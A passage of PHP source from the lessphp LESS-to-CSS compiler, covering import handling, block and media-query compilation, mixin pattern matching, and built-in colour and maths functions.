    protected $numberPrecision = null;

    protected $allParsedFiles = array();

    // set to the parser that generated the current line when compiling
    // so we know how to create error messages
    protected $sourceParser = null;
    protected $sourceLoc = null;

    static protected $nextImportId = 0; // uniquely identify imports

    // attempts to find the path of an import url, returns null for css files
    protected function findImport($url) {
        foreach ((array)$this->importDir as $dir) {
            $full = $dir.(substr($dir, -1) != '/' ? '/' : '').$url;
            if ($this->fileExists($file = $full.'.less') || $this->fileExists($file = $full)) {
                return $file;
            }
        }

        return null;
    }

    protected function fileExists($name) {
        return is_file($name);
    }

    public static function compressList($items, $delim) {
        if (!isset($items[1]) && isset($items[0])) return $items[0];
        else return array('list', $delim, $items);
    }

    public static function preg_quote($what) {
        return preg_quote($what, '/');
    }

    protected function tryImport($importPath, $parentBlock, $out) {
        if ($importPath[0] == "function" && $importPath[1] == "url") {
            $importPath = $this->flattenList($importPath[2]);
        }

        $str = $this->coerceString($importPath);
        if ($str === null) return false;

        $url = $this->compileValue($this->lib_e($str));

        // don't import if it ends in css
        if (substr_compare($url, '.css', -4, 4) === 0) return false;

        $realPath = $this->findImport($url);

        if ($realPath === null) return false;

        if ($this->importDisabled) {
            return array(false, "/* import disabled */");
        }

        if (isset($this->allParsedFiles[realpath($realPath)])) {
            return array(false, null);
        }

        $this->addParsedFile($realPath);
        $parser = $this->makeParser($realPath);
        $root = $parser->parse(file_get_contents($realPath));

        // set the parents of all the block props
        foreach ($root->props as $prop) {
            if ($prop[0] == "block") {
                $prop[1]->parent = $parentBlock;
            }
        }

        // copy mixins into scope, set their parents
        // bring blocks from import into current block
        // TODO: need to mark the source parser these came from this file
        foreach ($root->children as $childName => $child) {
            if (isset($parentBlock->children[$childName])) {
                $parentBlock->children[$childName] = array_merge(
                    $parentBlock->children[$childName],
                    $child);
            } else {
                $parentBlock->children[$childName] = $child;
            }
        }

        $pi = pathinfo($realPath);
        $dir = $pi["dirname"];

        list($top, $bottom) = $this->sortProps($root->props, true);
        $this->compileImportedProps($top, $parentBlock, $out, $parser, $dir);

        return array(true, $bottom, $parser, $dir);
    }

    protected function compileImportedProps($props, $block, $out, $sourceParser, $importDir) {
        $oldSourceParser = $this->sourceParser;

        $oldImport = $this->importDir;

        // TODO: this is because the importDir api is stupid
        $this->importDir = (array)$this->importDir;
        array_unshift($this->importDir, $importDir);

        foreach ($props as $prop) {
            $this->compileProp($prop, $block, $out);
        }

        $this->importDir = $oldImport;
        $this->sourceParser = $oldSourceParser;
    }

    /**
     * Recursively compiles a block.
     *
     * A block is analogous to a CSS block in most cases. A single LESS document
     * is encapsulated in a block when parsed, but it does not have parent tags
     * so all of it's children appear on the root level when compiled.
     *
     * Blocks are made up of props and children.
     *
     * Props are property instructions, array tuples which describe an action
     * to be taken, eg. write a property, set a variable, mixin a block.
     *
     * The children of a block are just all the blocks that are defined within.
     * This is used to look up mixins when performing a mixin.
     *
     * Compiling the block involves pushing a fresh environment on the stack,
     * and iterating through the props, compiling each one.
     *
     * See lessc::compileProp()
     *
     */
    protected function compileBlock($block) {
        switch ($block->type) {
        case "root":
            $this->compileRoot($block);
            break;
        case null:
            $this->compileCSSBlock($block);
            break;
        case "media":
            $this->compileMedia($block);
            break;
        case "directive":
            $name = "@" . $block->name;
            if (!empty($block->value)) {
                $name .= " " . $this->compileValue($this->reduce($block->value));
            }

            $this->compileNestedBlock($block, array($name));
            break;
        default:
            $this->throwError("unknown block type: $block->type\n");
        }
    }

    protected function compileCSSBlock($block) {
        $env = $this->pushEnv();

        $selectors = $this->compileSelectors($block->tags);
        $env->selectors = $this->multiplySelectors($selectors);
        $out = $this->makeOutputBlock(null, $env->selectors);

        $this->scope->children[] = $out;
        $this->compileProps($block, $out);

        $block->scope = $env; // mixins carry scope with them!
        $this->popEnv();
    }

    protected function compileMedia($media) {
        $env = $this->pushEnv($media);
        $parentScope = $this->mediaParent($this->scope);

        $query = $this->compileMediaQuery($this->multiplyMedia($env));

        $this->scope = $this->makeOutputBlock($media->type, array($query));
        $parentScope->children[] = $this->scope;

        $this->compileProps($media, $this->scope);

        if (count($this->scope->lines) > 0) {
            $orphanSelelectors = $this->findClosestSelectors();
            if (!is_null($orphanSelelectors)) {
                $orphan = $this->makeOutputBlock(null, $orphanSelelectors);
                $orphan->lines = $this->scope->lines;
                array_unshift($this->scope->children, $orphan);
                $this->scope->lines = array();
            }
        }

        $this->scope = $this->scope->parent;
        $this->popEnv();
    }

    protected function mediaParent($scope) {
        while (!empty($scope->parent)) {
            if (!empty($scope->type) && $scope->type != "media") {
                break;
            }
            $scope = $scope->parent;
        }

        return $scope;
    }

    protected function compileNestedBlock($block, $selectors) {
        $this->pushEnv($block);
        $this->scope = $this->makeOutputBlock($block->type, $selectors);
        $this->scope->parent->children[] = $this->scope;

        $this->compileProps($block, $this->scope);

        $this->scope = $this->scope->parent;
        $this->popEnv();
    }

    protected function compileRoot($root) {
        $this->pushEnv();
        $this->scope = $this->makeOutputBlock($root->type);
        $this->compileProps($root, $this->scope);
        $this->popEnv();
    }

    protected function compileProps($block, $out) {
        foreach ($this->sortProps($block->props) as $prop) {
            $this->compileProp($prop, $block, $out);
        }
        $out->lines = $this->deduplicate($out->lines);
    }

    /**
     * Deduplicate lines in a block. Comments are not deduplicated. If a
     * duplicate rule is detected, the comments immediately preceding each
     * occurence are consolidated.
     */
    protected function deduplicate($lines) {
        $unique = array();
        $comments = array();

        foreach ($lines as $line) {
            if (strpos($line, '/*') === 0) {
                $comments[] = $line;
                continue;
            }
            if (!in_array($line, $unique)) {
                $unique[] = $line;
            }
            array_splice($unique, array_search($line, $unique), 0, $comments);
            $comments = array();
        }
        return array_merge($unique, $comments);
    }

    protected function sortProps($props, $split = false) {
        $vars = array();
        $imports = array();
        $other = array();
        $stack = array();

        foreach ($props as $prop) {
            switch ($prop[0]) {
            case "comment":
                $stack[] = $prop;
                break;
            case "assign":
                $stack[] = $prop;
                if (isset($prop[1][0]) && $prop[1][0] == $this->vPrefix) {
                    $vars = array_merge($vars, $stack);
                } else {
                    $other = array_merge($other, $stack);
                }
                $stack = array();
                break;
            case "import":
                $id = self::$nextImportId++;
                $prop[] = $id;
                $stack[] = $prop;
                $imports = array_merge($imports, $stack);
                $other[] = array("import_mixin", $id);
                $stack = array();
                break;
            default:
                $stack[] = $prop;
                $other = array_merge($other, $stack);
                $stack = array();
                break;
            }
        }
        $other = array_merge($other, $stack);

        if ($split) {
            return array(array_merge($imports, $vars), $other);
        } else {
            return array_merge($imports, $vars, $other);
        }
    }

    protected function compileMediaQuery($queries) {
        $compiledQueries = array();
        foreach ($queries as $query) {
            $parts = array();
            foreach ($query as $q) {
                switch ($q[0]) {
                case "mediaType":
                    $parts[] = implode(" ", array_slice($q, 1));
                    break;
                case "mediaExp":
                    if (isset($q[2])) {
                        $parts[] = "($q[1]: " .
                            $this->compileValue($this->reduce($q[2])) . ")";
                    } else {
                        $parts[] = "($q[1])";
                    }
                    break;
                case "variable":
                    $parts[] = $this->compileValue($this->reduce($q));
                break;
                }
            }

            if (count($parts) > 0) {
                $compiledQueries[] =  implode(" and ", $parts);
            }
        }

        $out = "@media";
        if (!empty($parts)) {
            $out .= " " .
                implode($this->formatter->selectorSeparator, $compiledQueries);
        }
        return $out;
    }

    protected function multiplyMedia($env, $childQueries = null) {
        if (is_null($env) ||
            !empty($env->block->type) && $env->block->type != "media"
        ) {
            return $childQueries;
        }

        // plain old block, skip
        if (empty($env->block->type)) {
            return $this->multiplyMedia($env->parent, $childQueries);
        }

        $out = array();
        $queries = $env->block->queries;
        if (is_null($childQueries)) {
            $out = $queries;
        } else {
            foreach ($queries as $parent) {
                foreach ($childQueries as $child) {
                    $out[] = array_merge($parent, $child);
                }
            }
        }

        return $this->multiplyMedia($env->parent, $out);
    }

    protected function expandParentSelectors(&$tag, $replace) {
        $parts = explode("$&$", $tag);
        $count = 0;
        foreach ($parts as &$part) {
            $part = str_replace($this->parentSelector, $replace, $part, $c);
            $count += $c;
        }
        $tag = implode($this->parentSelector, $parts);
        return $count;
    }

    protected function findClosestSelectors() {
        $env = $this->env;
        $selectors = null;
        while ($env !== null) {
            if (isset($env->selectors)) {
                $selectors = $env->selectors;
                break;
            }
            $env = $env->parent;
        }

        return $selectors;
    }


    // multiply $selectors against the nearest selectors in env
    protected function multiplySelectors($selectors) {
        // find parent selectors

        $parentSelectors = $this->findClosestSelectors();
        if (is_null($parentSelectors)) {
            // kill parent reference in top level selector
            foreach ($selectors as &$s) {
                $this->expandParentSelectors($s, "");
            }

            return $selectors;
        }

        $out = array();
        foreach ($parentSelectors as $parent) {
            foreach ($selectors as $child) {
                $count = $this->expandParentSelectors($child, $parent);

                // don't prepend the parent tag if & was used
                if ($count > 0) {
                    $out[] = trim($child);
                } else {
                    $out[] = trim($parent . ' ' . $child);
                }
            }
        }

        return $out;
    }

    // reduces selector expressions
    protected function compileSelectors($selectors) {
        $out = array();

        foreach ($selectors as $s) {
            if (is_array($s)) {
                list(, $value) = $s;
                $out[] = trim($this->compileValue($this->reduce($value)));
            } else {
                $out[] = $s;
            }
        }

        return $out;
    }

    protected function eq($left, $right) {
        return $left == $right;
    }

    protected function patternMatch($block, $orderedArgs, $keywordArgs) {
        // match the guards if it has them
        // any one of the groups must have all its guards pass for a match
        if (!empty($block->guards)) {
            $groupPassed = false;
            foreach ($block->guards as $guardGroup) {
                foreach ($guardGroup as $guard) {
                    $this->pushEnv();
                    $this->zipSetArgs($block->args, $orderedArgs, $keywordArgs);

                    $negate = false;
                    if ($guard[0] == "negate") {
                        $guard = $guard[1];
                        $negate = true;
                    }

                    $passed = $this->reduce($guard) == self::$TRUE;
                    if ($negate) $passed = !$passed;

                    $this->popEnv();

                    if ($passed) {
                        $groupPassed = true;
                    } else {
                        $groupPassed = false;
                        break;
                    }
                }

                if ($groupPassed) break;
            }

            if (!$groupPassed) {
                return false;
            }
        }

        if (empty($block->args)) {
            return $block->isVararg || empty($orderedArgs) && empty($keywordArgs);
        }

        $remainingArgs = $block->args;
        if ($keywordArgs) {
            $remainingArgs = array();
            foreach ($block->args as $arg) {
                if ($arg[0] == "arg" && isset($keywordArgs[$arg[1]])) {
                    continue;
                }

                $remainingArgs[] = $arg;
            }
        }

        $i = -1; // no args
        // try to match by arity or by argument literal
        foreach ($remainingArgs as $i => $arg) {
            switch ($arg[0]) {
            case "lit":
                if (empty($orderedArgs[$i]) || !$this->eq($arg[1], $orderedArgs[$i])) {
                    return false;
                }
                break;
            case "arg":
                // no arg and no default value
                if (!isset($orderedArgs[$i]) && !isset($arg[2])) {
                    return false;
                }
                break;
            case "rest":
                $i--; // rest can be empty
                break 2;
            }
        }

        if ($block->isVararg) {
            return true; // not having enough is handled above
        } else {
            $numMatched = $i + 1;
            // greater than because default values always match
            return $numMatched >= count($orderedArgs);
        }
    }

    protected function patternMatchAll($blocks, $orderedArgs, $keywordArgs, $skip=array()) {
        $matches = null;
        foreach ($blocks as $block) {
            // skip seen blocks that don't have arguments
            if (isset($skip[$block->id]) && !isset($block->args)) {
                continue;
            }

            if ($this->patternMatch($block, $orderedArgs, $keywordArgs)) {
                $matches[] = $block;
            }
        }

        return $matches;
    }

    // attempt to find blocks matched by path and args
    protected function findBlocks($searchIn, $path, $orderedArgs, $keywordArgs, $seen=array()) {
        if ($searchIn == null) return null;
        if (isset($seen[$searchIn->id])) return null;
        $seen[$searchIn->id] = true;

        $name = $path[0];

        if (isset($searchIn->children[$name])) {
            $blocks = $searchIn->children[$name];
            if (count($path) == 1) {
                $matches = $this->patternMatchAll($blocks, $orderedArgs, $keywordArgs, $seen);
                if (!empty($matches)) {
                    // This will return all blocks that match in the closest
                    // scope that has any matching block, like lessjs
                    return $matches;
                }
            } else {
                $matches = array();
                foreach ($blocks as $subBlock) {
                    $subMatches = $this->findBlocks($subBlock,
                        array_slice($path, 1), $orderedArgs, $keywordArgs, $seen);

                    if (!is_null($subMatches)) {
                        foreach ($subMatches as $sm) {
                            $matches[] = $sm;
                        }
                    }
                }

                return count($matches) > 0 ? $matches : null;
            }
        }
        if ($searchIn->parent === $searchIn) return null;
        return $this->findBlocks($searchIn->parent, $path, $orderedArgs, $keywordArgs, $seen);
    }

    // sets all argument names in $args to either the default value
    // or the one passed in through $values
    protected function zipSetArgs($args, $orderedValues, $keywordValues) {
        $assignedValues = array();

        $i = 0;
        foreach ($args as $a) {
            if ($a[0] == "arg") {
                if (isset($keywordValues[$a[1]])) {
                    // has keyword arg
                    $value = $keywordValues[$a[1]];
                } elseif (isset($orderedValues[$i])) {
                    // has ordered arg
                    $value = $orderedValues[$i];
                    $i++;
                } elseif (isset($a[2])) {
                    // has default value
                    $value = $a[2];
                } else {
                    $this->throwError("Failed to assign arg " . $a[1]);
                    $value = null; // :(
                }

                $value = $this->reduce($value);
                $this->set($a[1], $value);
                $assignedValues[] = $value;
            } else {
                // a lit
                $i++;
            }
        }

        // check for a rest
        $last = end($args);
        if ($last[0] == "rest") {
            $rest = array_slice($orderedValues, count($args) - 1);
            $this->set($last[1], $this->reduce(array("list", " ", $rest)));
        }

        // wow is this the only true use of PHP's + operator for arrays?
        $this->env->arguments = $assignedValues + $orderedValues;
    }

    // compile a prop and update $lines or $blocks appropriately
    protected function compileProp($prop, $block, $out) {
        // set error position context
        $this->sourceLoc = isset($prop[-1]) ? $prop[-1] : -1;

        switch ($prop[0]) {
        case 'assign':
            list(, $name, $value) = $prop;
            if ($name[0] == $this->vPrefix) {
                $this->set($name, $value);
            } else {
                $out->lines[] = $this->formatter->property($name,
                        $this->compileValue($this->reduce($value)));
            }
            break;
        case 'block':
            list(, $child) = $prop;
            $this->compileBlock($child);
            break;
        case 'mixin':
            list(, $path, $args, $suffix) = $prop;

            $orderedArgs = array();
            $keywordArgs = array();
            foreach ((array)$args as $arg) {
                $argval = null;
                switch ($arg[0]) {
                case "arg":
                    if (!isset($arg[2])) {
                        $orderedArgs[] = $this->reduce(array("variable", $arg[1]));
                    } else {
                        $keywordArgs[$arg[1]] = $this->reduce($arg[2]);
                    }
                    break;

                case "lit":
                    $orderedArgs[] = $this->reduce($arg[1]);
                    break;
                default:
                    $this->throwError("Unknown arg type: " . $arg[0]);
                }
            }

            $mixins = $this->findBlocks($block, $path, $orderedArgs, $keywordArgs);

            if ($mixins === null) {
                $this->throwError("{$prop[1][0]} is undefined");
            }

            foreach ($mixins as $mixin) {
                if ($mixin === $block && !$orderedArgs) {
                    continue;
                }

                $haveScope = false;
                if (isset($mixin->parent->scope)) {
                    $haveScope = true;
                    $mixinParentEnv = $this->pushEnv();
                    $mixinParentEnv->storeParent = $mixin->parent->scope;
                }

                $haveArgs = false;
                if (isset($mixin->args)) {
                    $haveArgs = true;
                    $this->pushEnv();
                    $this->zipSetArgs($mixin->args, $orderedArgs, $keywordArgs);
                }

                $oldParent = $mixin->parent;
                if ($mixin != $block) $mixin->parent = $block;

                foreach ($this->sortProps($mixin->props) as $subProp) {
                    if ($suffix !== null &&
                        $subProp[0] == "assign" &&
                        is_string($subProp[1]) &&
                        $subProp[1]{0} != $this->vPrefix
                    ) {
                        $subProp[2] = array(
                            'list', ' ',
                            array($subProp[2], array('keyword', $suffix))
                        );
                    }

                    $this->compileProp($subProp, $mixin, $out);
                }

                $mixin->parent = $oldParent;

                if ($haveArgs) $this->popEnv();
                if ($haveScope) $this->popEnv();
            }

            break;
        case 'raw':
            $out->lines[] = $prop[1];
            break;
        case "directive":
            list(, $name, $value) = $prop;
            $out->lines[] = "@$name " . $this->compileValue($this->reduce($value)).';';
            break;
        case "comment":
            $out->lines[] = $prop[1];
            break;
        case "import":
            list(, $importPath, $importId) = $prop;
            $importPath = $this->reduce($importPath);

            if (!isset($this->env->imports)) {
                $this->env->imports = array();
            }

            $result = $this->tryImport($importPath, $block, $out);

            $this->env->imports[$importId] = $result === false ?
                array(false, "@import " . $this->compileValue($importPath).";") :
                $result;

            break;
        case "import_mixin":
            list(,$importId) = $prop;
            $import = $this->env->imports[$importId];
            if ($import[0] === false) {
                if (isset($import[1])) {
                    $out->lines[] = $import[1];
                }
            } else {
                list(, $bottom, $parser, $importDir) = $import;
                $this->compileImportedProps($bottom, $block, $out, $parser, $importDir);
            }

            break;
        default:
            $this->throwError("unknown op: {$prop[0]}\n");
        }
    }


    /**
     * Compiles a primitive value into a CSS property value.
     *
     * Values in lessphp are typed by being wrapped in arrays, their format is
     * typically:
     *
     *     array(type, contents [, additional_contents]*)
     *
     * The input is expected to be reduced. This function will not work on
     * things like expressions and variables.
     */
    public function compileValue($value) {
        switch ($value[0]) {
        case 'list':
            // [1] - delimiter
            // [2] - array of values
            return implode($value[1], array_map(array($this, 'compileValue'), $value[2]));
        case 'raw_color':
            if (!empty($this->formatter->compressColors)) {
                return $this->compileValue($this->coerceColor($value));
            }
            return $value[1];
        case 'keyword':
            // [1] - the keyword
            return $value[1];
        case 'number':
            list(, $num, $unit) = $value;
            // [1] - the number
            // [2] - the unit
            if ($this->numberPrecision !== null) {
                $num = round($num, $this->numberPrecision);
            }
            return $num . $unit;
        case 'string':
            // [1] - contents of string (includes quotes)
            list(, $delim, $content) = $value;
            foreach ($content as &$part) {
                if (is_array($part)) {
                    $part = $this->compileValue($part);
                }
            }
            return $delim . implode($content) . $delim;
        case 'color':
            // [1] - red component (either number or a %)
            // [2] - green component
            // [3] - blue component
            // [4] - optional alpha component
            list(, $r, $g, $b) = $value;
            $r = round($r);
            $g = round($g);
            $b = round($b);

            if (count($value) == 5 && $value[4] != 1) { // rgba
                return 'rgba('.$r.','.$g.','.$b.','.$value[4].')';
            }

            $h = sprintf("#%02x%02x%02x", $r, $g, $b);

            if (!empty($this->formatter->compressColors)) {
                // Converting hex color to short notation (e.g. #003399 to #039)
                if ($h[1] === $h[2] && $h[3] === $h[4] && $h[5] === $h[6]) {
                    $h = '#' . $h[1] . $h[3] . $h[5];
                }
            }

            return $h;

        case 'function':
            list(, $name, $args) = $value;
            return $name.'('.$this->compileValue($args).')';
        default: // assumed to be unit
            $this->throwError("unknown value type: $value[0]");
        }
    }

    protected function lib_pow($args) {
        list($base, $exp) = $this->assertArgs($args, 2, "pow");
        return pow($this->assertNumber($base), $this->assertNumber($exp));
    }

    protected function lib_pi() {
        return pi();
    }

    protected function lib_mod($args) {
        list($a, $b) = $this->assertArgs($args, 2, "mod");
        return $this->assertNumber($a) % $this->assertNumber($b);
    }

    protected function lib_tan($num) {
        return tan($this->assertNumber($num));
    }

    protected function lib_sin($num) {
        return sin($this->assertNumber($num));
    }

    protected function lib_cos($num) {
        return cos($this->assertNumber($num));
    }

    protected function lib_atan($num) {
        $num = atan($this->assertNumber($num));
        return array("number", $num, "rad");
    }

    protected function lib_asin($num) {
        $num = asin($this->assertNumber($num));
        return array("number", $num, "rad");
    }

    protected function lib_acos($num) {
        $num = acos($this->assertNumber($num));
        return array("number", $num, "rad");
    }

    protected function lib_sqrt($num) {
        return sqrt($this->assertNumber($num));
    }

    protected function lib_extract($value) {
        list($list, $idx) = $this->assertArgs($value, 2, "extract");
        $idx = $this->assertNumber($idx);
        // 1 indexed
        if ($list[0] == "list" && isset($list[2][$idx - 1])) {
            return $list[2][$idx - 1];
        }
    }

    protected function lib_isnumber($value) {
        return $this->toBool($value[0] == "number");
    }

    protected function lib_isstring($value) {
        return $this->toBool($value[0] == "string");
    }

    protected function lib_iscolor($value) {
        return $this->toBool($this->coerceColor($value));
    }

    protected function lib_iskeyword($value) {
        return $this->toBool($value[0] == "keyword");
    }

    protected function lib_ispixel($value) {
        return $this->toBool($value[0] == "number" && $value[2] == "px");
    }

    protected function lib_ispercentage($value) {
        return $this->toBool($value[0] == "number" && $value[2] == "%");
    }

    protected function lib_isem($value) {
        return $this->toBool($value[0] == "number" && $value[2] == "em");
    }

    protected function lib_isrem($value) {
        return $this->toBool($value[0] == "number" && $value[2] == "rem");
    }

    protected function lib_rgbahex($color) {
        $color = $this->coerceColor($color);
        if (is_null($color)) {
            $this->throwError("color expected for rgbahex");
        }

        return sprintf("#%02x%02x%02x%02x",
            isset($color[4]) ? $color[4] * 255 : 255,
            $color[1],
            $color[2],
            $color[3]
        );
    }

    protected function lib_argb($color){
        return $this->lib_rgbahex($color);
    }

    /**
     * Given an url, decide whether to output a regular link or the base64-encoded contents of the file
     *
     * @param  array  $value either an argument list (two strings) or a single string
     * @return string        formatted url(), either as a link or base64-encoded
     */
    protected function lib_data_uri($value) {
        $mime = ($value[0] === 'list') ? $value[2][0][2] : null;
        $url = ($value[0] === 'list') ? $value[2][1][2][0] : $value[2][0];

        $fullpath = $this->findImport($url);

        if ($fullpath && ($fsize = filesize($fullpath)) !== false) {
            // IE8 can't handle data uris larger than 32KB
            if ($fsize/1024 < 32) {
                if (is_null($mime)) {
                    if (class_exists('finfo')) { // php 5.3+
                        $finfo = new finfo(FILEINFO_MIME);
                        $mime = explode('; ', $finfo->file($fullpath));
                        $mime = $mime[0];
                    } elseif (function_exists('mime_content_type')) { // PHP 5.2
                        $mime = mime_content_type($fullpath);
                    }
                }

                if (!is_null($mime)) // fallback if the mime type is still unknown
                    $url = sprintf('data:%s;base64,%s', $mime, base64_encode(file_get_contents($fullpath)));
            }
        }

        return 'url("'.$url.'")';
    }

    // utility func to unquote a string
    protected function lib_e($arg) {
        switch ($arg[0]) {
            case "list":
                $items = $arg[2];
                if (isset($items[0])) {
                    return $this->lib_e($items[0]);
                }
                $this->throwError("unrecognised input");
            case "string":
                $arg[1] = "";
                return $arg;
            case "keyword":
                return $arg;
            default:
                return array("keyword", $this->compileValue($arg));
        }
    }

    protected function lib__sprintf($args) {
        if ($args[0] != "list") return $args;
        $values = $args[2];
        $string = array_shift($values);
        $template = $this->compileValue($this->lib_e($string));

        $i = 0;
        if (preg_match_all('/%[dsa]/', $template, $m)) {
            foreach ($m[0] as $match) {
                $val = isset($values[$i]) ?
                    $this->reduce($values[$i]) : array('keyword', '');

                // lessjs compat, renders fully expanded color, not raw color
                if ($color = $this->coerceColor($val)) {
                    $val = $color;
                }

                $i++;
                $rep = $this->compileValue($this->lib_e($val));
                $template = preg_replace('/'.self::preg_quote($match).'/',
                    $rep, $template, 1);
            }
        }

        $d = $string[0] == "string" ? $string[1] : '"';
        return array("string", $d, array($template));
    }

    protected function lib_floor($arg) {
        $value = $this->assertNumber($arg);
        return array("number", floor($value), $arg[2]);
    }

    protected function lib_ceil($arg) {
        $value = $this->assertNumber($arg);
        return array("number", ceil($value), $arg[2]);
    }

    protected function lib_round($arg) {
        if ($arg[0] != "list") {
            $value = $this->assertNumber($arg);
            return array("number", round($value), $arg[2]);
        } else {
            $value = $this->assertNumber($arg[2][0]);
            $precision = $this->assertNumber($arg[2][1]);
            return array("number", round($value, $precision), $arg[2][0][2]);
        }
    }

    protected function lib_unit($arg) {
        if ($arg[0] == "list") {
            list($number, $newUnit) = $arg[2];
            return array("number", $this->assertNumber($number),
                $this->compileValue($this->lib_e($newUnit)));
        } else {
            return array("number", $this->assertNumber($arg), "");
        }
    }

    /**
     * Helper function to get arguments for color manipulation functions.
     * takes a list that contains a color like thing and a percentage
     */
    public function colorArgs($args) {
        if ($args[0] != 'list' || count($args[2]) < 2) {
            return array(array('color', 0, 0, 0), 0);
        }
        list($color, $delta) = $args[2];
        $color = $this->assertColor($color);
        $delta = floatval($delta[1]);

        return array($color, $delta);
    }

    protected function lib_darken($args) {
        list($color, $delta) = $this->colorArgs($args);

        $hsl = $this->toHSL($color);
        $hsl[3] = $this->clamp($hsl[3] - $delta, 100);
        return $this->toRGB($hsl);
    }

    protected function lib_lighten($args) {
        list($color, $delta) = $this->colorArgs($args);

        $hsl = $this->toHSL($color);
        $hsl[3] = $this->clamp($hsl[3] + $delta, 100);
        return $this->toRGB($hsl);
    }

    protected function lib_saturate($args) {
        list($color, $delta) = $this->colorArgs($args);

        $hsl = $this->toHSL($color);
        $hsl[2] = $this->clamp($hsl[2] + $delta, 100);
        return $this->toRGB($hsl);
    }

    protected function lib_desaturate($args) {
        list($color, $delta) = $this->colorArgs($args);

        $hsl = $this->toHSL($color);
        $hsl[2] = $this->clamp($hsl[2] - $delta, 100);
        return $this->toRGB($hsl);
    }

    protected function lib_spin($args) {
        list($color, $delta) = $this->colorArgs($args);

        $hsl = $this->toHSL($color);

        $hsl[1] = $hsl[1] + $delta % 360;
        if ($hsl[1] < 0) {
            $hsl[1] += 360;
        }

        return $this->toRGB($hsl);
    }

    protected function lib_fadeout($args) {
        list($color, $delta) = $this->colorArgs($args);
        $color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) - $delta/100);
        return $color;
    }

    protected function lib_fadein($args) {
        list($color, $delta) = $this->colorArgs($args);
        $color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) + $delta/100);
        return $color;
    }

    protected function lib_hue($color) {
        $hsl = $this->toHSL($this->assertColor($color));
        return round($hsl[1]);
    }

    protected function lib_saturation($color) {
        $hsl = $this->toHSL($this->assertColor($color));
        return round($hsl[2]);
    }

    protected function lib_lightness($color) {
        $hsl = $this->toHSL($this->assertColor($color));
        return round($hsl[3]);
    }

    // get the alpha of a color
    // defaults to 1 for non-colors or colors without an alpha
    protected function lib_alpha($value) {
        if (!is_null($color = $this->coerceColor($value))) {
            return isset($color[4]) ? $color[4] : 1;
        }
    }

    // set the alpha of the color
    protected function lib_fade($args) {
        list($color, $alpha) = $this->colorArgs($args);
        $color[4] = $this->clamp($alpha / 100.0);
        return $color;
    }

    protected function lib_percentage($arg) {
        $num = $this->assertNumber($arg);
        return array("number", $num*100, "%");
    }

    /**
     * Mix color with white in variable proportion.
     *
     * It is the same as calling `mix(#ffffff, @color, @weight)`.
     *
     *     tint(@color, [@weight: 50%]);
     *
     * http://lesscss.org/functions/#color-operations-tint
     *
     * @return array Color
     */
    protected function lib_tint($args) {
        $white = ['color', 255, 255, 255];
        if ($args[0] == 'color') {
            return $this->lib_mix([ 'list', ',', [$white, $args] ]);
        } elseif ($args[0] == "list" && count($args[2]) == 2) {
            return $this->lib_mix([ $args[0], $args[1], [$white, $args[2][0], $args[2][1]] ]);
        } else {
            $this->throwError("tint expects (color, weight)");
        }
    }

    /**
     * Mix color with black in variable proportion.
     *
     * It is the same as calling `mix(#000000, @color, @weight)`
     *
     *     shade(@color, [@weight: 50%]);
     *
     * http://lesscss.org/functions/#color-operations-shade
     *
     * @return array Color
     */
    protected function lib_shade($args) {
        $black = ['color', 0, 0, 0];
        if ($args[0] == 'color') {
            return $this->lib_mix([ 'list', ',', [$black, $args] ]);
        } elseif ($args[0] == "list" && count($args[2]) == 2) {
            return $this->lib_mix([ $args[0], $args[1], [$black, $args[2][0], $args[2][1]] ]);
        } else {
            $this->throwError("shade expects (color, weight)");
        }
    }

    // mixes two colors by weight
    // mix(@color1, @color2, [@weight: 50%]);
    // http://sass-lang.com/docs/yardoc/Sass/Script/Functions.html#mix-instance_method
    protected function lib_mix($args) {
        if ($args[0] != "list" || count($args[2]) < 2)
            $this->throwError("mix expects (color1, color2, weight)");

        list($first, $second) = $args[2];
        $first = $this->assertColor($first);
        $second = $this->assertColor($second);

        $first_a = $this->lib_alpha($first);
        $second_a = $this->lib_alpha($second);

        if (isset($args[2][2])) {
            $weight = $args[2][2][1] / 100.0;
        } else {
            $weight = 0.5;
        }

        $w = $weight * 2 - 1;
        $a = $first_a - $second_a;

        $w1 = (($w * $a == -1 ? $w : ($w + $a)/(1 + $w * $a)) + 1) / 2.0;
        $w2 = 1.0 - $w1;

        $new = array('color',
            $w1 * $first[1] + $w2 * $second[1],
            $w1 * $first[2] + $w2 * $second[2],
            $w1 * $first[3] + $w2 * $second[3],
        );

        if ($first_a != 1.0 || $second_a != 1.0) {
            $new[] = $first_a * $weight + $second_a * ($weight - 1);
        }

        return $this->fixColor($new);
    }

    protected function lib_contrast($args) {
        $darkColor  = array('color', 0, 0, 0);
        $lightColor = array('color', 255, 255, 255);
        $threshold  = 0.43;

        if ( $args[0] == 'list' ) {
            $inputColor = ( isset($args[2][0]) ) ? $this->assertColor($args[2][0])  : $lightColor;
            $darkColor  = ( isset($args[2][1]) ) ? $this->assertColor($args[2][1])  : $darkColor;
            $lightColor = ( isset($args[2][2]) ) ? $this->assertColor($args[2][2])  : $lightColor;
            $threshold  = ( isset($args[2][3]) ) ? $this->assertNumber($args[2][3]) : $threshold;
        }
        else {
            $inputColor  = $this->assertColor($args);
        }

        $inputColor = $this->coerceColor($inputColor);
        $darkColor  = $this->coerceColor($darkColor);
        $lightColor = $this->coerceColor($lightColor);

        //Figure out which is actually light and dark!
        if ( $this->toLuma($darkColor) > $this->toLuma($lightColor) ) {
            $t  = $lightColor;
            $lightColor = $darkColor;
            $darkColor  = $t;
        }

        $inputColor_alpha = $this->lib_alpha($inputColor);
        if ( ( $this->toLuma($inputColor) * $inputColor_alpha) < $threshold) {
            return $lightColor;
        }
        return $darkColor;
    }

    private function toLuma($color) {
        list(, $r, $g, $b) = $this->coerceColor($color);

        $r = $r / 255;
        $g = $g / 255;
        $b = $b / 255;

        $r = ($r <= 0.03928) ? $r / 12.92 : pow((($r + 0.055) / 1.055), 2.4);
        $g = ($g <= 0.03928) ? $g / 12.92 : pow((($g + 0.055) / 1.055), 2.4);
        $b = ($b <= 0.03928) ? $b / 12.92 : pow((($b + 0.055) / 1.055), 2.4);

        return (0.2126 * $r) + (0.7152 * $g) + (0.0722 * $b);
    }

    protected function lib_luma($color) {
        return array("number", round($this->toLuma($color) * 100, 8), "%");
    }


    public function assertColor($value, $error = "expected color value") {
        $color = $this->coerceColor($value);
        if (is_null($color)) $this->throwError($error);
        return $color;
    }

    public function assertNumber($value, $error = "expecting number") {
        if ($value[0] == "number") return $value[1];
        $this->throwError($error);
    }

    public function assertArgs($value, $expectedArgs, $name="") {
        if ($expectedArgs == 1) {
            return $value;
